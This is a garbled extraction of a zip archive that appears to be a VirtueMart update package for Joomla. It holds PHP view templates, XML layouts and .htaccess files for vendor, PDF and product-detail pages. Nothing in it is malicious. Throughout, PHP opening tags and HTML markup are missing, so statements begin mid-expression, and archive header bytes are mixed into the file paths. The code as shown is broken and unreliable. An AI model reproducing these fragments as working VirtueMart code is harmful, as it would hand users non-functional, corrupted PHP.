            PKtl>\JDzMcom_virtuemart_update/components/com_virtuemart/views/vendor/tmpl/details.phpnuW+A

            vendor->vendor_store_name; if (!empty($this->vendor->images[0])) { ?>
            vendor->images[0]->displayMediaThumb('',false); ?>

            vendor->vendor_store_desc.'
            '; if(!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); echo shopFunctions::renderVendorAddress($this->vendor->virtuemart_vendor_id); ?>
            vendor->vendor_legal_info; ?>
            linktos ?>
            linkcontact ?>
            PKtl>\Lcom_virtuemart_update/components/com_virtuemart/views/vendor/tmpl/index.htmlnuW+APKtl>\)Kcom_virtuemart_update/components/com_virtuemart/views/vendor/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKtl>\B$Mcom_virtuemart_update/components/com_virtuemart/views/vendor/tmpl/default.xmlnuW+A COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_TITLE PKtl>\'<<Mcom_virtuemart_update/components/com_virtuemart/views/vendor/tmpl/contact.xmlnuW+A COM_VIRTUEMART_VENDOR_VIEW_CONTACT_TITLE
            PKtl>\t=<<Mcom_virtuemart_update/components/com_virtuemart/views/vendor/tmpl/contact.phpnuW+A

            vendor->vendor_store_name; if (!empty($this->vendor->images[0])) { ?>
            vendor->images[0]->displayMediaThumb('',false); ?>

            vendor->virtuemart_vendor_id); /* foreach($this->userFields as $userfields){ foreach($userfields['fields'] as $item){ if(!empty($item['value'])){ if($item['name']==='agreed'){ $item['value'] = ($item['value']===0) ? JText::_('COM_VIRTUEMART_USER_FORM_BILLTO_TOS_NO'):JText::_('COM_VIRTUEMART_USER_FORM_BILLTO_TOS_YES'); } ?> escape($item['value']) ?>
            addScriptDeclaration(' jQuery(function($){ $("#askform").validationEngine("attach"); $("#comment").keyup( function () { var result = $(this).val(); $("#counter").val( result.length ); }); }); '); ?>




            linkdetails ?>
            linktos ?>
            PKtl>\k Mcom_virtuemart_update/components/com_virtuemart/views/vendor/tmpl/default.phpnuW+A
          '; // Lets output the categories, if there are some if (!empty($this->vendors)) { ?>
          vendors as $vendor ) { // Show the horizontal seperator if ($iColumn == 1 && $ivendor > $vendorPerRow) { echo $horizontalSeparator; } // this is an indicator wether a row needs to be opened or not if ($iColumn == 1) { ?>
          virtuemart_vendor_id, FALSE); $vendorIncludedProductsURL = JRoute::_('index.php?option=com_virtuemart&view=category&virtuemart_vendor_id=' . $vendor->virtuemart_vendor_id, FALSE); //$vendorImage = $vendor->images[0]->displayMediaThumb("",false); // Show Category ?>
          vendor_name; ?>
          '; $iColumn = 1; } else { $iColumn ++; } } // Do we need a final closing row tag? if ($iColumn != 1) { ?>
          PKtl>\*e,,Jcom_virtuemart_update/components/com_virtuemart/views/vendor/view.html.phpnuW+AgetPathway(); $layoutName = $this->getLayout(); $model = VmModel::getModel(); $virtuemart_vendor_id = JRequest::getInt('virtuemart_vendor_id'); // if ($layoutName=='default') { if (empty($virtuemart_vendor_id)) { $document->setTitle( JText::_('COM_VIRTUEMART_VENDOR_LIST') ); $pathway->addItem(JText::_('COM_VIRTUEMART_VENDOR_LIST')); $vendors = $model->getVendors(); $model->addImages($vendors); $this->assignRef('vendors', $vendors); } else { $vendor = $model->getVendor($virtuemart_vendor_id); $model->addImages($vendor); if (VmConfig::get ('enable_content_plugin', 0)) { if(!class_exists('shopFunctionsF'))require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); shopFunctionsF::triggerContentPlugin($vendor, 'vendor','vendor_store_desc'); shopFunctionsF::triggerContentPlugin($vendor, 'vendor','vendor_terms_of_service'); } $this->assignRef('vendor', $vendor); if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $userId = VirtueMartModelVendor::getUserIdByVendorId($virtuemart_vendor_id); //$usermodel = VmModel::getModel('user'); //$virtuemart_userinfo_id = $usermodel->getBTuserinfo_id($userId); //$usermodel->getVendor($virtuemart_vendor_id); //$userFields = $usermodel->getUserInfoInUserFields($layoutName, 'BT', $virtuemart_userinfo_id,true,true); //$this->assignRef('userFields', $userFields); if ($layoutName=='tos') { $document->setTitle( JText::_('COM_VIRTUEMART_VENDOR_TOS') ); $pathway->addItem(JText::_('COM_VIRTUEMART_VENDOR_TOS')); } elseif ($layoutName=='contact') { $user = JFactory::getUser(); $document->setTitle( JText::_('COM_VIRTUEMART_VENDOR_CONTACT') ); $pathway->addItem(JText::_('COM_VIRTUEMART_VENDOR_CONTACT')); $this->assignRef('user', $user); } else { $document->setTitle( JText::_('COM_VIRTUEMART_VENDOR_DETAILS') ); $pathway->addItem(JText::_('COM_VIRTUEMART_VENDOR_DETAILS')); $this->setLayout('details'); } $linkdetails = ''.JText::_('COM_VIRTUEMART_VENDOR_DETAILS').''; $linkcontact = ''.JText::_('COM_VIRTUEMART_VENDOR_CONTACT').''; $linktos = ''.JText::_('COM_VIRTUEMART_VENDOR_TOS').''; //$this->assignRef('lineSeparator', $lineSeparator); $this->assignRef('linkdetails', $linkdetails); $this->assignRef('linkcontact', $linkcontact); $this->assignRef('linktos', $linktos); } parent::display($tpl); } function renderMailLayout($doVendor, $recipient) { $this->setLayout('mail_html_question'); $this->comment = JRequest::getString('comment'); $virtuemart_vendor_id = JRequest::getInt('virtuemart_vendor_id'); $this->doVendor=$doVendor; //$this->doVendor=TRUE; $vendorModel = VmModel::getModel('vendor'); $this->vendor = $vendorModel->getVendor($virtuemart_vendor_id); // in this particular case, overwrite the value for fix the recipient name $this->vendor->vendor_name= $this->user['name']; $this->subject = JText::_('COM_VIRTUEMART_VENDOR_CONTACT') .' '.$this->user['name']; $this->vendorEmail= $this->user['email']; //$this->vendorName= $this->user['email']; if (VmConfig::get('order_mail_html')) { $tpl = 'mail_html_question'; } else { $tpl = 'mail_raw_question'; } $this->setLayout($tpl); parent::display( ); } } //No Closing Tag PKtl>\Gcom_virtuemart_update/components/com_virtuemart/views/vendor/index.htmlnuW+APKtl>\IIFcom_virtuemart_update/components/com_virtuemart/views/pdf/view.raw.phpnuW+AassignRef('type', $type); $viewName = jRequest::getWord('view','productdetails'); $class= 'VirtueMartView'.ucfirst($viewName); if(!class_exists($class)) require(JPATH_VM_SITE.DS.'views'.DS.$viewName.DS.'view.html.php'); $view = new $class ; $view->display($tpl); } } PKtl>\ElDcom_virtuemart_update/components/com_virtuemart/views/pdf/index.htmlnuW+A PKtl>\oddFcom_virtuemart_update/components/com_virtuemart/views/pdf/view.pdf.phpnuW+Adisplay($tpl); } } } PKtl>\)Ccom_virtuemart_update/components/com_virtuemart/views/pdf/.htaccessnuW+A Order allow,deny Deny from all PKtl>\)?com_virtuemart_update/components/com_virtuemart/views/.htaccessnuW+A Order allow,deny Deny from all PKtl>\#o,,Ocom_virtuemart_update/components/com_virtuemart/views/productdetails/index.htmlnuW+APKtl>\rzoo`com_virtuemart_update/components/com_virtuemart/views/productdetails/tmpl/default_showprices.phpnuW+A
          product->prices['salesPrice'])) { echo "" . JText::_ ('COM_VIRTUEMART_CART_PRICE') . ""; } //vmdebug('view productdetails layout default show prices, prices',$this->product); if ($this->product->prices['salesPrice']<=0 and VmConfig::get ('askprice', 1) and isset($this->product->images[0]) and !$this->product->images[0]->file_is_downloadable) { ?> showBasePrice) { echo $this->currency->createPriceDiv ('basePrice', 'COM_VIRTUEMART_PRODUCT_BASEPRICE', $this->product->prices); if (round($this->product->prices['basePrice'],$this->currency->_priceConfig['basePriceVariant'][1]) != $this->product->prices['basePriceVariant']) { echo $this->currency->createPriceDiv ('basePriceVariant', 'COM_VIRTUEMART_PRODUCT_BASEPRICE_VARIANT', $this->product->prices); } } echo $this->currency->createPriceDiv ('variantModification', 'COM_VIRTUEMART_PRODUCT_VARIANT_MOD', $this->product->prices); if (round($this->product->prices['basePriceWithTax'],$this->currency->_priceConfig['salesPrice'][1]) != $this->product->prices['salesPrice']) { echo '' . $this->currency->createPriceDiv ('basePriceWithTax', 'COM_VIRTUEMART_PRODUCT_BASEPRICE_WITHTAX', $this->product->prices) . ""; } if (round($this->product->prices['salesPriceWithDiscount'],$this->currency->_priceConfig['salesPrice'][1]) != $this->product->prices['salesPrice']) { echo $this->currency->createPriceDiv ('salesPriceWithDiscount', 'COM_VIRTUEMART_PRODUCT_SALESPRICE_WITH_DISCOUNT', $this->product->prices); } echo $this->currency->createPriceDiv ('salesPrice', 'COM_VIRTUEMART_PRODUCT_SALESPRICE', $this->product->prices); if ($this->product->prices['discountedPriceWithoutTax'] != $this->product->prices['priceWithoutTax']) { echo $this->currency->createPriceDiv ('discountedPriceWithoutTax', 'COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX', $this->product->prices); } else { echo $this->currency->createPriceDiv ('priceWithoutTax', 'COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX', $this->product->prices); } echo $this->currency->createPriceDiv ('discountAmount', 'COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNT', $this->product->prices); echo $this->currency->createPriceDiv ('taxAmount', 'COM_VIRTUEMART_PRODUCT_TAX_AMOUNT', $this->product->prices); $unitPriceDescription = JText::sprintf ('COM_VIRTUEMART_PRODUCT_UNITPRICE', JText::_('COM_VIRTUEMART_UNIT_SYMBOL_'.$this->product->product_unit)); echo $this->currency->createPriceDiv ('unitPrice', $unitPriceDescription, $this->product->prices); } ?>
          PKtl>\1~ ~ ^com_virtuemart_update/components/com_virtuemart/views/productdetails/tmpl/mail_html_notify.phpnuW+A

          '; /* GENERAL FOOTER FOR ALL MAILS */ $link = JURI::root().'index.php?option=com_virtuemart'; echo JText::_('COM_VIRTUEMART_MAIL_FOOTER' ) . ''.$this->vendor->vendor_name.''; echo '
          '; echo $this->vendor->vendor_name .'
          '.$this->vendor->vendor_phone .' '.$this->vendor->vendor_store_name .'
          '.$this->vendor->vendor_store_desc.'
          '.$this->vendor->vendor_legal_info; ?>
          PKtl>\O¼Rbcom_virtuemart_update/components/com_virtuemart/views/productdetails/tmpl/default_customfields.phpnuW+A
          product->customfieldsSorted[$this->position] as $field) { if ( $field->is_hidden ) //OSP http://forum.virtuemart.net/index.php?topic=99320.0 continue; if ($field->display) { ?>
          custom_title != $custom_title && $field->show_title) { ?> custom_title); ?> custom_tip) echo JHTML::tooltip($field->custom_tip, JText::_($field->custom_title), 'tooltip.png'); } ?> display ?> custom_field_desc) ?>
          custom_title; } } ?>
          PKtl>\]com_virtuemart_update/components/com_virtuemart/views/productdetails/tmpl/mail_raw_notify.phpnuW+AvendorAddress; echo "\n"; echo "\n"; echo JText::sprintf ('COM_VIRTUEMART_MAIL_SHOPPER_NAME', $this->user->name); echo "\n"; echo "\n"; if(!empty($this->mailbody)) { echo $this->mailbody; } else { echo str_replace( "
          ", "\n", JText::sprintf('COM_VIRTUEMART_CART_NOTIFY_MAIL_RAW', $this->productName,$this->link) ); } echo "\n"; $link = JURI::root().'index.php?option=com_virtuemart'; echo "\n\n"; $link= JHTML::_('link', $link, $this->vendor->vendor_name) ; // echo JText::_('COM_VIRTUEMART_MAIL_VENDOR_TITLE').$this->vendor->vendor_name.'
          '; /* GENERAL FOOTER FOR ALL MAILS */ echo JText::_('COM_VIRTUEMART_MAIL_FOOTER' ) . $link; echo "\n"; echo $this->vendor->vendor_name ."\n".$this->vendor->vendor_phone .' '.$this->vendor->vendor_store_name ."\n".strip_tags($this->vendor->vendor_store_desc)."\n".str_replace('
          ',"\n",$this->vendor->vendor_legal_info); PKtl>\^11Qcom_virtuemart_update/components/com_virtuemart/views/productdetails/tmpl/pdf.phpnuW+Aproduct )) { echo JText::_ ( 'COM_VIRTUEMART_PRODUCT_NOT_FOUND' ); echo '

          ' . $this->continue_link_html; return; } ?>

          product->product_name ?>

          product->images) && count($this->product->images)>0) { echo $this->product->images[0]->displayMediaFull('class="product-image"',false); ?>
          product->images as $image) { echo $image->displayMediaThumb('class="product-image"'); //'class="modal"' } ?>
          product->product_s_desc)) { ?>
          product->product_s_desc; ?>
          product->virtuemart_vendor_id); $text = JText::_('COM_VIRTUEMART_VENDOR_FORM_INFO_LBL'); echo ''. JText::_('COM_VIRTUEMART_PRODUCT_DETAILS_VENDOR_LBL'). ''; ?>
          */ ?> rating)? JText::_('COM_VIRTUEMART_UNRATED'):$this->rating->rating; echo JText::_('COM_VIRTUEMART_RATING') . $rating; // Product Price if ($this->show_prices) { ?>
          product->product_unit && VmConfig::get ( 'price_show_packaging_pricelabel' )) { echo "" . JText::_ ( 'COM_VIRTUEMART_CART_PRICE_PER_UNIT' ) . ' (' . $this->product->product_unit . "):"; } else { echo "" . JText::_ ( 'COM_VIRTUEMART_CART_PRICE' ) . ""; } if ($this->showBasePrice) { echo $this->currency->createPriceDiv ( 'basePrice', 'COM_VIRTUEMART_PRODUCT_BASEPRICE', $this->product->prices ); echo $this->currency->createPriceDiv ( 'basePriceVariant', 'COM_VIRTUEMART_PRODUCT_BASEPRICE_VARIANT', $this->product->prices ); } echo $this->currency->createPriceDiv ( 'variantModification', 'COM_VIRTUEMART_PRODUCT_VARIANT_MOD', $this->product->prices ); echo $this->currency->createPriceDiv ( 'basePriceWithTax', 'COM_VIRTUEMART_PRODUCT_BASEPRICE_WITHTAX', $this->product->prices ); echo $this->currency->createPriceDiv ( 'discountedPriceWithoutTax', 'COM_VIRTUEMART_PRODUCT_DISCOUNTED_PRICE', $this->product->prices ); echo $this->currency->createPriceDiv ( 'salesPriceWithDiscount', 'COM_VIRTUEMART_PRODUCT_SALESPRICE_WITH_DISCOUNT', $this->product->prices ); echo $this->currency->createPriceDiv ( 'salesPrice', 'COM_VIRTUEMART_PRODUCT_SALESPRICE', $this->product->prices ); echo $this->currency->createPriceDiv ( 'priceWithoutTax', 'COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX', $this->product->prices ); echo $this->currency->createPriceDiv ( 'discountAmount', 'COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNT', $this->product->prices ); echo $this->currency->createPriceDiv ( 'taxAmount', 'COM_VIRTUEMART_PRODUCT_TAX_AMOUNT', $this->product->prices ); ?>
          product->customfieldsCart)) { ?>
          product->customfieldsCart as $field) { ?>
          custom_title ?> custom_tip, $field->custom_title, 'tooltip.png'); ?> display ?> custom_field_desc ?>

          virtuemart_product_id as link to child product_id * custom_value is relation value to child */ if (!empty($this->product->customsChilds)) { ?>
          product->customsChilds as $field) { ?>
          field->custom_title ?> field->custom_value ?> display ?>

          product->product_availability)) { ?>
          product->product_availability, $this->product->product_availability, array('class' => 'availability')); ?>
          product->virtuemart_product_id.'&virtuemart_category_id='.$this->product->virtuemart_category_id.'&tmpl=component'); ?>
          product->virtuemart_manufacturer_id)) { ?>
          product->virtuemart_manufacturer_id.'&tmpl=component'); $text = $this->product->mf_name; /* Avoid JavaScript on PDF Output */ if (strtolower(JRequest::getWord('output')) == "pdf"){ echo JHTML::_('link', $link, $text); } else { ?>
          product->product_desc)) { ?>
          product->product_desc; ?>
          product->customfields)) { ?>
          product->customfields as $field){ ?>
          custom_title != $custom_title) { ?> custom_title); ?> custom_tip, $field->custom_title, 'tooltip.png'); } ?> display ?> custom_field_desc) ?>
          custom_title; } ?>
          product->packaging || $this->product->box) { ?>

          product->packaging) { $product_packaging .= JText::_('COM_VIRTUEMART_PRODUCT_PACKAGING1').$this->product->packaging; if ($this->product->box) $product_packaging .= '
          '; } if ($this->product->box) $product_packaging .= JText::_('COM_VIRTUEMART_PRODUCT_PACKAGING2').$this->product->box; echo str_replace("{unit}",$this->product->product_unit ? $this->product->product_unit : JText::_('COM_VIRTUEMART_PRODUCT_FORM_UNIT_DEFAULT'), $product_packaging); ?>
          showReview ) { $maxrating = VmConfig::get('vm_maximum_rating_scale',5); $ratingsShow = VmConfig::get('vm_num_ratings_show',3); // TODO add vm_num_ratings_show in vmConfig $starsPath = JURI::root().VmConfig::get('assets_general_path').'images/stars/'; $stars = array(); $showall = JRequest::getBool('showall', false); for ($num=0 ; $num <= $maxrating; $num++ ) { $title = (JText::_("VM_RATING_TITLE").' : '. $num . '/' . $maxrating) ; $stars[] = JHTML::image($starsPath.$num.'.gif', JText::_($num.'_STARS'), array("title" => $title) ); } ?>
          showReview) { $alreadycommented = false; ?>

          rating_reviews as $review ) { if ($i % 2 == 0) { $color = 'normal'; } else { $color = 'highlight'; } // Loop through all reviews if (!empty($this->rating_reviews)) { ?>
          created_on, JText::_('DATE_FORMAT_LC')); ?> review_rating ] //Attention the review rating is the rating of the review itself, rating for the product is the vote !?>
          comment; ?>
          customer ?>
          rating_reviews) < 1) { // "There are no reviews for this product" ?> rating_reviews) >= $ratingsShow ) { $attribute = array('class'=>'details', 'title'=>JText::_('COM_VIRTUEMART_MORE_REVIEWS')); echo JHTML::link($this->more_reviews, JText::_('COM_VIRTUEMART_MORE_REVIEWS'),$attribute); } } ?>
          '.JText::_('COM_VIRTUEMART_DEAR').$this->user->name.',
          ' ; // echo JText::_('COM_VIRTUEMART_REVIEW_ALREADYDONE'); // } if( $this->showReview ) { ?>
          PKtl>\"k_com_virtuemart_update/components/com_virtuemart/views/productdetails/tmpl/default_addtocart.phpnuW+Aproduct->step_order_level)) $step=$this->product->step_order_level; else $step=1; if($step==0) $step=1; $alert=JText::sprintf ('COM_VIRTUEMART_WRONG_AMOUNT_ADDED', $step); ?>
          product->customfieldsCart)) { ?>
          product->customfieldsCart as $field) { ?>
          show_title) { ?> custom_title) ?> custom_tip) { echo JHTML::tooltip (vmText::_($field->custom_tip), vmText::_ ($field->custom_title), 'tooltip.png'); } ?> display ?> custom_field_desc) ?>

          virtuemart_product_id as link to child product_id * custom_value is relation value to child */ if (!empty($this->product->customsChilds)) { ?>
          product->customsChilds as $field) { ?>
          field->custom_title) ?> field->custom_value) ?> display ?>

          product->product_in_stock - $this->product->product_ordered) < 1) { ?> product->prices['costPrice']; if (!( VmConfig::get('askprice', 0) and empty($tmpPrice) ) ) { ?> product->orderable); // Display the add to cart button END ?>
          PKtl>\?kQcom_virtuemart_update/components/com_virtuemart/views/productdetails/tmpl/pdf.xmlnuW+A PKtl>\)Scom_virtuemart_update/components/com_virtuemart/views/productdetails/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKtl>\U/ bcom_virtuemart_update/components/com_virtuemart/views/productdetails/tmpl/default_showcategory.phpnuW+Acategory->haschildren) { $iCol = 1; $iCategory = 1; $categories_per_row = VmConfig::get('categories_per_row', 3); $category_cellwidth = ' width' . floor(100 / $categories_per_row); $verticalseparator = " vertical-separator"; ?>
          category->children)) { foreach ($this->category->children as $category) { // Show the horizontal seperator if ($iCol == 1 && $iCategory > $categories_per_row) { ?>
          \XѿTcom_virtuemart_update/components/com_virtuemart/views/productdetails/tmpl/notify.phpnuW+A

          product->product_name); ?>




          PKtl>\sScmpp]com_virtuemart_update/components/com_virtuemart/views/productdetails/tmpl/default_reviews.phpnuW+AallowRating || $this->showReview) { $maxrating = VmConfig::get ('vm_maximum_rating_scale', 5); $ratingsShow = VmConfig::get ('vm_num_ratings_show', 3); // TODO add vm_num_ratings_show in vmConfig $stars = array(); $showall = JRequest::getBool ('showall', FALSE); $ratingWidth = $maxrating * 24; for ($num = 0; $num <= $maxrating; $num++) { $stars[] = ' '; } ?>
          showReview) { ?>

          rating_reviews) { foreach ($this->rating_reviews as $review) { if ($i % 2 == 0) { $color = 'normal'; } else { $color = 'highlight'; } /* Check if user already commented */ // if ($review->virtuemart_userid == $this->user->id ) { if ($review->created_by == $this->user->id && !$review->review_editable) { $review_editable = FALSE; } ?> rating_reviews) && $review->published) { $reviews_published++; ?>
          created_on, JText::_ ('DATE_FORMAT_LC')); ?> review_rating] ?>
          comment; ?>
          customer ?>
          = $ratingsShow) { $attribute = array('class'=> 'details', 'title'=> JText::_ ('COM_VIRTUEMART_MORE_REVIEWS')); echo JHTML::link ($this->more_reviews, JText::_ ('COM_VIRTUEMART_MORE_REVIEWS'), $attribute); } break; } } } else { // "There are no reviews for this product" ?>
          allowReview) { ?>
          " . VmConfig::get ('reviews_maximum_comment_length', 2000) . ") { alert('" . addslashes (JText::sprintf ('COM_VIRTUEMART_REVIEW_ERR_COMMENT2_JS', VmConfig::get ('reviews_maximum_comment_length', 2000))) . "'); return false; } else { return true; } } function refresh_counter() { var form = document.getElementById('reviewform'); form.counter.value= form.comment.value.length; } jQuery(function($) { var steps = " . $maxrating . "; var parentPos= $('.write-reviews .ratingbox').position(); var boxWidth = $('.write-reviews .ratingbox').width();// nbr of total pixels var starSize = (boxWidth/steps); var ratingboxPos= $('.write-reviews .ratingbox').offset(); $('.write-reviews .ratingbox').mousemove( function(e){ var span = $(this).children(); var dif = e.pageX-ratingboxPos.left; // nbr of pixels difRatio = Math.floor(dif/boxWidth* steps )+1; //step span.width(difRatio*starSize); $('#vote').val(difRatio); //console.log('note = ', difRatio); }); }); //]]> "; $document = JFactory::getDocument (); $document->addScriptDeclaration ($reviewJavascript); if ($this->showRating) { if ($this->allowRating && $review_editable) { ?>





          ' . JText::_ ('COM_VIRTUEMART_DEAR') . $this->user->name . ',
          '; echo JText::_ ('COM_VIRTUEMART_REVIEW_ALREADYDONE'); } ?>
          allowRating || $this->showReview) { ?>
          \ 199Ucom_virtuemart_update/components/com_virtuemart/views/productdetails/tmpl/default.phpnuW+Aproduct)) { echo JText::_('COM_VIRTUEMART_PRODUCT_NOT_FOUND'); echo '

          ' . $this->continue_link_html; return; } if(JRequest::getInt('print',false)){ ?> product->virtuemart_product_id . '&virtuemart_category_id=' . $this->product->virtuemart_category_id . '&tmpl=component'; $boxFuncReco = ''; $boxFuncAsk = ''; if(VmConfig::get('usefancy',1)){ vmJsApi::js( 'fancybox/jquery.fancybox-1.3.4.pack'); vmJsApi::css('jquery.fancybox-1.3.4'); if(VmConfig::get('show_emailfriend',0)){ $boxReco = "jQuery.fancybox({ href: '" . $MailLink . "', type: 'iframe', height: '550' });"; } if(VmConfig::get('ask_question', 0)){ $boxAsk = "jQuery.fancybox({ href: '" . $this->askquestion_url . "', type: 'iframe', height: '550' });"; } } else { vmJsApi::js( 'facebox' ); vmJsApi::css( 'facebox' ); if(VmConfig::get('show_emailfriend',0)){ $boxReco = "jQuery.facebox({ iframe: '" . $MailLink . "', rev: 'iframe|550|550' });"; } if(VmConfig::get('ask_question', 0)){ $boxAsk = "jQuery.facebox({ iframe: '" . $this->askquestion_url . "', rev: 'iframe|550|550' });"; } } if(VmConfig::get('show_emailfriend',0) ){ $boxFuncReco = "jQuery('a.recommened-to-friend').click( function(){ ".$boxReco." return false ; });"; } if(VmConfig::get('ask_question', 0)){ $boxFuncAsk = "jQuery('a.ask-a-question').click( function(){ ".$boxAsk." return false ; });"; } if(!empty($boxFuncAsk) or !empty($boxFuncReco)){ $document = JFactory::getDocument(); $document->addScriptDeclaration(" // "); } ?>
          product->neighbours ['previous'][0])) { $prev_link = JRoute::_('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $this->product->neighbours ['previous'][0] ['virtuemart_product_id'] . '&virtuemart_category_id=' . $this->product->virtuemart_category_id, FALSE); echo JHTML::_('link', $prev_link, $this->product->neighbours ['previous'][0] ['product_name'], array('rel'=>'prev', 'class' => 'previous-page')); } if (!empty($this->product->neighbours ['next'][0])) { $next_link = JRoute::_('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $this->product->neighbours ['next'][0] ['virtuemart_product_id'] . '&virtuemart_category_id=' . $this->product->virtuemart_category_id, FALSE); echo JHTML::_('link', $next_link, $this->product->neighbours ['next'][0] ['product_name'], array('rel'=>'next','class' => 'next-page')); } ?>
          product->virtuemart_category_id) { $catURL = JRoute::_('index.php?option=com_virtuemart&view=category&virtuemart_category_id='.$this->product->virtuemart_category_id, FALSE); $categoryName = $this->product->category_name ; } else { $catURL = JRoute::_('index.php?option=com_virtuemart'); $categoryName = jText::_('COM_VIRTUEMART_SHOP_HOME') ; } ?>

          product->product_name ?>

          product->event->afterDisplayTitle ?> edit_link; // Product Edit Link END ?>
          product->virtuemart_product_id; echo $this->linkIcon($link . '&format=pdf', 'COM_VIRTUEMART_PDF', 'pdf_button', 'pdf_icon', false); echo $this->linkIcon($link . '&print=1', 'COM_VIRTUEMART_PRINT', 'printButton', 'show_printicon'); echo $this->linkIcon($MailLink, 'COM_VIRTUEMART_EMAIL', 'emailButton', 'show_emailfriend', false,true,false,'class="recommened-to-friend"'); ?>
          product->product_s_desc)) { ?>
          product->product_s_desc); ?>
          product->customfieldsSorted['ontop'])) { $this->position = 'ontop'; echo $this->loadTemplate('customfields'); } // Product Custom ontop end ?>
          loadTemplate('images'); ?>
          product->virtuemart_vendor_id); $text = JText::_('COM_VIRTUEMART_VENDOR_FORM_INFO_LBL'); echo ''. JText::_('COM_VIRTUEMART_PRODUCT_DETAILS_VENDOR_LBL'). ''; ?>
          */ ?> showRating) { $maxrating = VmConfig::get('vm_maximum_rating_scale', 5); if (empty($this->rating)) { ?> rating->rating * 24; //I don't use round as percetntage with works perfect, as for me ?> rating->rating) . '/' . $maxrating; ?>
          rating->rating) . '/' . $maxrating) ?>" class="ratingbox" style="display:inline-block;">
          productDisplayShipments)) { foreach ($this->productDisplayShipments as $productDisplayShipment) { echo $productDisplayShipment . '
          '; } } if (is_array($this->productDisplayPayments)) { foreach ($this->productDisplayPayments as $productDisplayPayment) { echo $productDisplayPayment . '
          '; } } // Product Price // the test is done in show_prices //if ($this->show_prices and (empty($this->product->images[0]) or $this->product->images[0]->file_is_downloadable == 0)) { echo $this->loadTemplate('showprices'); //} ?> product->prices) and !empty($this->product->images[0]) and $this->product->images[0]->file_is_downloadable==0 ) { // if (!VmConfig::get('use_as_catalog', 0) and !empty($this->product->prices['salesPrice'])) { echo $this->loadTemplate('addtocart'); // } // Add To Cart Button END ?> product->product_available_date,0,10); $current_date = date("Y-m-d"); if (($this->product->product_in_stock - $this->product->product_ordered) < 1) { if ($product_available_date != '0000-00-00' and $current_date < $product_available_date) { ?>
          product->product_available_date, JText::_('DATE_FORMAT_LC4')); ?>
          product->product_availability)) { ?>
          'availability')) : JText::_(VmConfig::get('rised_availability')); ?>
          product->product_availability)) { ?>
          product->product_availability)) ? JHTML::image(JURI::root() . VmConfig::get('assets_general_path') . 'images/availability/' . $this->product->product_availability, $this->product->product_availability, array('class' => 'availability')) : JText::_($this->product->product_availability); ?>
          product->product_available_date, JText::_('DATE_FORMAT_LC4')); ?>
          product->virtuemart_manufacturer_id)) { echo $this->loadTemplate('manufacturer'); } ?>
          product->event->beforeDisplayContent; ?> product->product_desc)) { ?>
          product->product_desc; ?>
          product->customfieldsSorted['normal'])) { $this->position = 'normal'; echo $this->loadTemplate('customfields'); } // Product custom_fields END // Product Packaging $product_packaging = ''; if ($this->product->product_box) { ?>
          product->product_box; ?>
          product->images as $fkey => $file) { // Todo add downloadable files again // if( $file->filesize > 0.5) $filesize_display = ' ('. number_format($file->filesize, 2,',','.')." MB)"; // else $filesize_display = ' ('. number_format($file->filesize*1024, 2,',','.')." KB)"; /* Show pdf in a new Window, other file types will be offered as download */ // $target = stristr($file->file_mimetype, "pdf") ? "_blank" : "_self"; // $link = JRoute::_('index.php?view=productdetails&task=getfile&virtuemart_media_id='.$file->virtuemart_media_id.'&virtuemart_product_id='.$this->product->virtuemart_product_id); // echo JHTMl::_('link', $link, $file->file_title.$filesize_display, array('target' => $target)); // } if (!empty($this->product->customfieldsRelatedProducts)) { echo $this->loadTemplate('relatedproducts'); } // Product customfieldsRelatedProducts END if (!empty($this->product->customfieldsRelatedCategories)) { echo $this->loadTemplate('relatedcategories'); } // Product customfieldsRelatedCategories END // Show child categories if (VmConfig::get('showCategory', 1)) { echo $this->loadTemplate('showcategory'); } if (!empty($this->product->customfieldsSorted['onbot'])) { $this->position='onbot'; echo $this->loadTemplate('customfields'); } // Product Custom ontop end ?> product->event->afterDisplayContent; ?> loadTemplate('reviews'); ?>
          PKtl>\K7ssUcom_virtuemart_update/components/com_virtuemart/views/productdetails/tmpl/default.xmlnuW+A COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_TITLE
          PKtl>\ۑecom_virtuemart_update/components/com_virtuemart/views/productdetails/tmpl/default_relatedproducts.phpnuW+A PKtl>\@gcom_virtuemart_update/components/com_virtuemart/views/productdetails/tmpl/default_relatedcategories.phpnuW+A PKtl>\[  \com_virtuemart_update/components/com_virtuemart/views/productdetails/tmpl/default_images.phpnuW+AaddScriptDeclaration ($imageJS); if (!empty($this->product->images)) { $image = $this->product->images[0]; ?>
          displayMediaFull("",true,"rel='vm-additional-images'"); ?>
          product->images); if ($count_images > 1) { ?>
          product->images[$i]; ?>
          displayMediaThumb('class="product-image" style="cursor: pointer"',false,""); echo ''; } else { echo $image->displayMediaThumb("",true,"rel='vm-additional-images'"); } ?>
          PKtl>\^ebcom_virtuemart_update/components/com_virtuemart/views/productdetails/tmpl/default_manufacturer.phpnuW+A
          product->virtuemart_manufacturer_id . '&tmpl=component', FALSE); $text = $this->product->mf_name; /* Avoid JavaScript on PDF Output */ if (strtolower(JRequest::getWord('output')) == "pdf") { echo JHTML::_('link', $link, $text); } else { ?>
          PKtl>\#o,,Tcom_virtuemart_update/components/com_virtuemart/views/productdetails/tmpl/index.htmlnuW+APKtl>\o {4{4Ycom_virtuemart_update/components/com_virtuemart/views/productdetails/tmpl/default_pdf.phpnuW+Atype)) { $document = JFactory::getDocument(); $document->setTitle($this->product->product_name); $document->setName($this->product->product_name); $document->setDescription( $this->product->product_s_desc); } /* Let's see if we found the product */ if (empty ( $this->product )) { echo JText::_ ( 'COM_VIRTUEMART_PRODUCT_NOT_FOUND' ); echo '

          ' . $this->continue_link_html; return; } ?>

          product->product_name ?>

